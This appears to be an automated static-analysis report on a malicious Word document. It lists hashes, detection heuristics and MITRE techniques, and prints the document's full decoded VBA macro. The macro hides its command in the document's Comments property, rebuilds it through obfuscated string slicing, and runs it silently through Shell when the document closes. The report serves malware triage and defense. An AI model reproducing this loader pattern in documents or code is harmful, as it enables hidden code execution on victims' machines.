Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 61b11995c8ff387b…

MALICIOUS

Office (OLE)

74.5 KB Created: 2017-10-10 14:30:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 27c5a9147ba1833fc6b725b72bfa94f1 SHA-1: 7b4dad7b92f9d49453b674ca7f537bb81d015b9d SHA-256: 61b11995c8ff387b9489527a5819f07abadcf95ba3c7bb695d3af9ab60001d84
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The AutoClose macro is designed to execute a PowerShell command, likely to download and run a secondary payload. This is supported by the 'OLE_VBA_SHELL' and 'SC_STR_POWERSHELL' heuristic firings.

Heuristics 8

  • ClamAV: Doc.Dropper.HeuristicShellOnClose-6370606-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.HeuristicShellOnClose-6370606-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    sJWXpGM = WoctDAdLj + WSFtl + aWFIdWDXGFu + WjGlL + NHQIzKAa + IdrvA + fwXAdXF + TfnMUh + jTGzLSVctB
    VBA.Shell$ sJWXpGM, 0
    End Sub
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    End Sub
    Sub AutoClose()
    jSPijUaoB
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5207 bytes
SHA-256: dc87b61ab5bc923213b869d5bc053ec62622ca8ebdd0abd1496dc433801b27a5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
33 of 64 identifiers look randomly generated (e.g. 'mwjkVTIpjSR') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Sub jSPijUaoB()
CYMWoAwjCi = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 13580, 108)
hhCqOzHwU = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 12536, 137)
XqVjVFJ = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 3823, 131)
HvRoDV = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 6791, 69)
QjicBKFv = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 12280, 49)
mwjkVTIpjSR = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 15658, 187)
tNaZlPOm = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 5828, 181)
hflEm = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 8934, 68)
QnsKWRaXZ = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 1711, 191)
OodInIkPa = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 2964, 25)
fOItvBE = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 14667, 24)
VSABdkQ = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 10310, 158)
ACMRiXEaZsc = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 3631, 1)
vvzHiBdW = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 9041, 161)
piKwobi = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 7124, 182)
OTahHNjloU = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 1157, 65)
HvwXFE = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 8314, 83)
OtZak = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 3186, 87)
YbQzuplFE = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 10522, 175)
ptwQoC = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 3977, 172)
hnMYi = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 14691, 135)
vcUtAw = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 6122, 186)
HJYVhWWpt = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 8103, 121)
OcIwEXdipv = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 3359, 151)
hcltI = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 2411, 155)
URFPqG = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 14918, 127)
PjLzSVrIj = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 12467, 60)
QWWSujvGq = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 11712, 178)
cOEiiaJNSro = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 15887, 92)
vizthq = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 3743, 19)
GdUow = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 9870, 180)
fuzanT = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 2745, 131)
sknRwTVmbfH = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 7872, 169)
lCZzYqW = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 14508, 90)
tkbwhXrOD = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 1304, 187)
hEJtZVmlrt = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 4187, 199)
butraaPckM = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 7031, 53)
DpAlzuNcMi = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 13710, 144)
tfaDDktqj = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 6383, 71)
DnjRnoSDUvS = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 788, 59)
UAnwfhitL = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 2207, 28)
uzLZATRHJqw = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 11022, 133)
dZntfOl = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 4877, 88)
qiCzwLCOFs = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 302, 164)
WoctDAdLj = CYMWoAwjCi + hhCqOzHwU + XqVjVFJ + HvRoDV + QjicBKFv + mwjkVTIpjSR + tNaZlPOm + hflEm + QnsKWRaXZ + OodInIkPa + fOItvBE + VSABdkQ + ACMRiXEaZsc + vvzHiBdW + piKwobi + OTahHNjloU + HvwXFE + OtZak + YbQzuplFE + ptwQoC + hnMYi + vcUtAw + HJYVhWWpt + OcIwEXdipv + hcltI + URFPqG + PjLzSVrIj + QWWSujvGq + cOEiiaJNSro + vizthq + GdUow + fuzanT + sknRwTVmbfH + lCZzYqW + tkbwhXrOD + hEJtZVmlrt + butraaPckM + DpAlzuNcMi + tfaDDktqj + DnjRnoSDUvS + UAnwfhitL + uzLZATRHJqw + dZntfOl + qiCzwLCOFs
WSFtl = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 4457, 3)
aWFIdWDXGFu = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 5199, 130)
WjGlL = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 11176, 12)
NHQIzKAa = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 4772, 3)
IdrvA = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 10112, 1)
fwXAdXF = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 13350, 5)
TfnMUh = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 9677, 1)
jTGzLSVctB = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 516, 1)
sJWXpGM = WoctDAdLj + WSFtl + aWFIdWDXGFu + WjGlL + NHQIzKAa + IdrvA + fwXAdXF + TfnMUh + jTGzLSVctB
VBA.Shell$ sJWXpGM, 0
End Sub
Sub AutoClose()
jSPijUaoB
End Sub